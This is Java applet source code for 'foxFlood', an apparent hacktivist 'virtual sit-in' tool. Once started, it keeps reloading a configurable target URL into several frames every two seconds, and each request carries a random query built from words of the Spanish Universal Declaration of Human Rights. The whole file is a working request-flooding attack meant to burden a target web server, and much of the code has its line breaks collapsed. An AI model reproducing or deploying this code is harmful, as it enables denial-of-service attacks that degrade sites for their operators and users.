/*
foxFlood*/
import java.applet.*;
import java.awt.*;
import java.net.URL;
import java.net.MalformedURLException;

public class foxFlood extends Applet implements Runnable {
	Image image;
	SendMessageZapsNet sendmessage;
	Thread runner;
	String urlParam=null;

	public void init() {
		image = getImage(getCodeBase(), "image100x75.gif");
		sendmessage = new SendMessageZapsNet(getAppletContext());
		urlParam=getParameter("targetUrl");
		start();
	}

	public void start() {
		if (runner==null) {
			runner=new Thread(this);
			runner.start();
		}
	}

	public void stop() {
		if (runner!=null) {
			runner.stop();
			runner=null;		}	}	public void run() {		while (true) {			sendmessage.engage(urlParam, "target2");			try {Thread.sleep(2000);}			catch (InterruptedException e) {}			sendmessage.engage(urlParam, "target3");			try {Thread.sleep(2000);}			catch (InterruptedException e) {}			sendmessage.engage(urlParam, "target4");			try {Thread.sleep(2000);}			catch (InterruptedException e) {}    	}    }	public void paint(Graphics g) {		//Draw image at its natural size first.		g.drawImage(image, 0, 0,100,75, this); //100x75 image	}
	public boolean mouseUp(Event evt, int x, int y) {
		sendmessage.engage(urlParam, "main");
		return true;
	}
}//sends URLclass SendMessageZapsNet extends Frame {    AppletContext appletContext;	FormQueryZapsNet formurl= new FormQueryZapsNet();    public SendMessageZapsNet(AppletContext appletContext) {		this.appletContext = appletContext;    }	// engage	public void engage(String str, String frame) {		URL url = null;		try {			url = new URL("http://"+str+"/?LOGICO="+formurl.getString()+"&P=40&SubTipo=Logico"); //?LOGICO=farming+un+industry&P=40&SubTipo=Logico
		} catch (MalformedURLException e) {			System.out.println("Malformed URL" + url.toString());		}		if (url != null) {			appletContext.showDocument(url, frame);		} else {			System.out.println("Null URL");		}	}}// forms URLclass FormQueryZapsNet {	public String getString()  {		String query= null;		int times = (int)Math.floor(Math.random()*4);
		switch (times) {
			case 0:
				query = getWord() + "+" + getWord();
				break;
			case 1:
				query = getWord() + "+" + getWord() + "+" + getWord();
				break;
			case 2:
				query = getWord() + "+" + getWord() + "+" + getWord() + "+" + getWord();
				break;
			case 3:
				query = getWord() + "+" + getWord() + "+" + getWord() + "+" + getWord() + "+" + getWord();
				break;
		}		return  query;	}	//set badUrlextend to random ASCII string	public String getWord() {		// array of every word from Declaración Universal de Derechos Humanos		String declaration[]= {			"alimentación",
			"autora",
			"compelido",
			"colocados",
			"económica",
			"cualquier",
			"habrán",
			"cumplimiento",
			"deben",
			"disfruten",
			"justas",
			"detenido",
			"tendrán",
			"propio",
			"beneficios",
			"técnica",
			"satisfacción",
			"fundada",
			"oposición",
			"inocencia",
			"asistencia",
			"reputación",
			"mantenimiento",
			"expresará",
			"hará",
			"cuenta",
			"propiedad",
			"reconocidos",
			"infancia",
			"domicilio",
			"determinación",
			"base",
			"A",
			"especiales",
			"comunidad",
			"una",
			"mundo",
			"medidas",
			"preso",
			"públicamente",
			"concepción",
			"todas",
			"gozar",
			"especial",
			"Organización",
			"materia",
			"interpretarse",
			"circunstancias",
			"tiempo",
			"estos",
			"privada",
			"a",
			"sindicarse",
			"parte",
			"motivos",
			"e",
			"obligado",
			"alguna",
			"humanos",
			"grupos",
			"Proclama",
			"privado",
			"o",
			"fraternalmente",
			"naciones",
			"manifestar",
			"económicos",
			"acceso",
			"u",
			"sean",
			"seguros",
			"libertades",
			"elegir",
			"salir",
			"alguno",
			"médica",
			"y",
			"acusación",
			"sus",
			"amplio",
			"común",
			"razonable",
			"idioma",
			"tribunales",
			"del",
			"intereses",
			"iguales",
			"puede",
			"recibir",
			"arbitrarias",
			"profesional",
			"asegurado",
			"crueles",
			"Los",
			"autoridad",
			"mediante",
			"ante",
			"fundamentales",
			"vida",
			"comprensión",
			"hijos",
			"soberanía",
			"creencias",
			"personalidad",
			"necesario",
			"sindicatos",
			"inspirándose",
			"realizar",
			"paz",
			"secreto",
			"ejercidos",
			"posición",
			"así",
			"incluso",
			"deberes",
			"promuevan",
			"durante",
			"orden",
			"tipo",
			"dependa",
			"(III)",
			"étnicos",
			"originada",
			"reconocimiento",
			"inalienables",
			"Estados",
			"moral",
			"medio",
			"principios",
			"respeto",
			"creencia",
			"imparcial",
			"originado",
			"proclamada",
			"auténticas",
			"futuros",
			"democrática",
			"delictivos",
			"entre",
			"causa",
			"podrá",
			"Declaración",
			"proclamado",
			"esclavitud",
			"razón",
			"culto",
			"independiente",
			"Toda",
			"elemental",
			"barbarie",
			"derechos",
			"celebrarse",
			"establecidas",
			"arbitrariamente",
			"territorios",
			"acción",
			"los",
			"Todo",
			"social",
			"pérdida",
			"opiniones",
			"contraerse",
			"matrimonio",
			"darse",
			"elemento",
			"resolución",
			"acusada",
			"caso",
			"otros",
			"debe",
			"inhumanos",
			"valor",
			"Estado",
			"opresión",
			"mientras",
			"esposos",
			"asimismo",
			"Este",
			"asegurar",
			"equitativa",
			"mujeres",
			"voto",
			"relaciones",
			"pensamiento",
			"cuanto",
			"artes",
			"elevar",
			"liberados",
			"tales",
			"país",
			"religiosos",
			"recurso",
			"internacional",
			"tribunal",
			"culturales",
			"delito",
			"promoverá",
			"instituciones",
			"generalizada",
			"edad",
			"desterrado",
			"al",
			"Sólo",
			"seres",
			"provocación",
			"él",
			"necesarias",
			"subsistencia",
			"ampare",
			"formas",
			"confiere",
			"otra",
			"raza",
			"investigar",
			"toda",
			"otro",
			"menosprecio",
			"niños",
			"Unidas",
			"existencia",
			"están",
			"incluye",
			"con",
			"menos",
			"progreso",
			"exigencias",
			"emprender",
			"obtener",
			"contra",
			"cuya",
			"Todos",
			"han",
			"desarrollar",
			"persecución",
			"judicial",
			"servicios",
			"origen",
			"En",
			"descanso",
			"familia",
			"esta",
			"este",
			"aseguren",
			"esforzarse",
			"universales",
			"miembro",
			"como",
			"enseñanza",
			"de",
			"fuera",
			"limitaciones",
			"privará",
			"satisfacer",
			"comunes",
			"individual",
			"tiene",
			"establezca",
			"Universal",
			"sólo",
			"correspondencia",
			"científico",
			"periódicamente",
			"culpabilidad",
			"organización",
			"política",
			"partes",
			"fin",
			"el",
			"cualesquiera",
			"ella",
			"índole",
			"en",
			"ningún",
			"es",
			"aplicable",
			"limitación",
			"vacaciones",
			"intrínseca",
			"régimen",
			"esclavos",
			"vestido",
			"procedimiento",
			"regresar",
			"presuma",
			"habida",
			"fe",
			"recursos",
			"violen",
			"humana",
			"temor",
			"constitución",
			"instrucción",
			"momento",
			"esfuerzo",
			"hombres",
			"comprometido",
			"salud",
			"advenimiento",
			"gobierno",
			"humano",
			"defensa",
			"informaciones",
			"vejez",
			"palabra",
			"adecuado",
			"nacionalidad",
			"nacen",
			"vivienda",
			"realmente",
			"individuo",
			"superiores",
			"será",
			"cambiar",
			"humanidad",
			"todos",
			"fortalecimiento",
			"territorio",
			"equivalente",
			"tal",
			"duración",
			"ha",
			"tolerancia",
			"Además",
			"respectivos",
			"natural",
			"efectivo",
			"reunión",
			"funciones",
			"libremente",
			"cometerse",
			"miseria",
			"solamente",
			"ideal",
			"concerniente",
			"propósitos",
			"sea",
			"indispensables",
			"buscar",
			"trabaja",
			"pagadas",
			"condenado",
			"literarias",
			"padres",
			"ataques",
			"jurisdicción",
			"Nadie",
			"conforme",
			"ser",
			"importancia",
			"partir",
			"trabajo",
			"infrinja",
			"tendrá",
			"examen",
			"cuidados",
			"injerencias",
			"hayan",
			"tiranía",
			"fundar",
			"La",
			"cualquiera",
			"ultrajantes",
			"más",
			"General",
			"restricción",
			"bienestar",
			"respecto",
			"fronteras",
			"por",
			"carácter",
			"morales",
			"materiales",
			"podrán",
			"distinción",
			"pacíficas",
			"escogidos",
			"invocado",
			"obligaciones",
			"delitos",
			"desarrollo",
			"asilo",
			"molestado",
			"producciones",
			"escoger",
			"grupo",
			"supremo",
			"efectivos",
			"constantemente",
			"seguridad",
			"méritos",
			"mayor",
			"participar",
			"garantías",
			"autónomo",
			"equitativas",
			"personal",
			"elevada",
			"la",
			"proclamados",
			"le",
			"Derecho",
			"igual",
			"desempleo",
			"dentro",
			"disfrutarán",
			"resulten",
			"rebelión",
			"lo",
			"demás",
			"torturas",
			"consentimiento",
			"para",
			"competentes",
			"casarse",
			"públicas",
			"único",
			"fueron",
			"según",
			"preferente",
			"actividades",
			"condiciones",
			"esencial",
			"satisfactoria",
			"puesto",
			"sin",
			"garantice",
			"sometido",
			"estudios",
			"degradantes",
			"juicio",
			"plenamente",
			"Miembros",
			"Nada",
			"sujeta",
			"universal",
			"circular",
			"expresión",
			"plena",
			"nadie",
			"libre",
			"cada",
			"religión",
			"público",
			"pleno",
			"ni",
			"condición",
			"actos",
			"no",
			"concepto",
			"salario",
			"bajo",
			"nacimiento",
			"sociedad",
			"voluntad",
			"las",
			"honra",
			"estará",
			"colectivamente",
			"cooperación",
			"asociación",
			"enfermedad",
			"servidumbre",
			"progresivas",
			"dignidad",
			"pueblo",
			"necesarios",
			"Carta",
			"habrá",
			"objeto",
			"fundamental",
			"representantes",
			"también",
			"cultural",
			"tienen",
			"hombre",
			"científicas",
			"justicia",
			"oída",
			"maternidad",
			"tratos",
			"administración",
			"compromiso",
			"artísticas",
			"unos",
			"residencia",
			"núbil",
			"sufragio",
			"favorecerá",
			"presente",
			"tendientes",
			"independientes",
			"general",
			"libres",
			"fiduciaria",
			"penal",
			"impondrá",
			"diciembre",
			"nacionales",
			"directamente",
			"dotados",
			"Naciones",
			"penas",
			"vea",
			"prohibidas",
			"pruebe",
			"completada",
			"pueblos",
			"función",
			"hagan",
			"satisfactorias",
			"ejercicio",
			"sexo",
			"aplicación",
			"Considerando",
			"viudez",
			"Humanos",
			"declarado",
			"asegure",
			"promover",
			"disfrutar",
			"nivel",
			"correspondan",
			"gratuita",
			"opuestos",
			"persona",
			"medios",
			"discriminación",
			"sentido",
			"derecho",
			"pertenecer",
			"libertad",
			"individuos",
			"protección",
			"Tampoco",
			"observancia",
			"que",
			"conciencia",
			"casos",
			"comisión",
			"son",
			"color",
			"comportarse",
			"grave",
			"difundirlas",
			"ley",
			"se",
			"reafirmado",
			"remuneración",
			"obligatoria",
			"si",
			"jurídica",
			"elección",
			"práctica",
			"aspiración",
			"sociales",
			"Estos",
			"su",
			"Adoptada",
			"Asamblea",
			"poder",
			"amistad",
			"educación",
			"tomar",
			"desconocimiento",
			"amistosas",
			"pena",
			"elecciones",
			"supresión",
			"disfrute",
			"periódicas",
			"resueltos",
			"disolución",
			"nacional",
			"Artículo",
			"trata",
			"protegidos",
			"omisiones",
			"miembros",
			"invalidez",
			"nacidos",
			"dicho",
			"opinión",
			"Preámbulo",
			"Derechos",
			"igualdad",
			"tanto",
			"un"		};		return (declaration[(int)Math.floor(Math.random()*(declaration.length))]);	}}
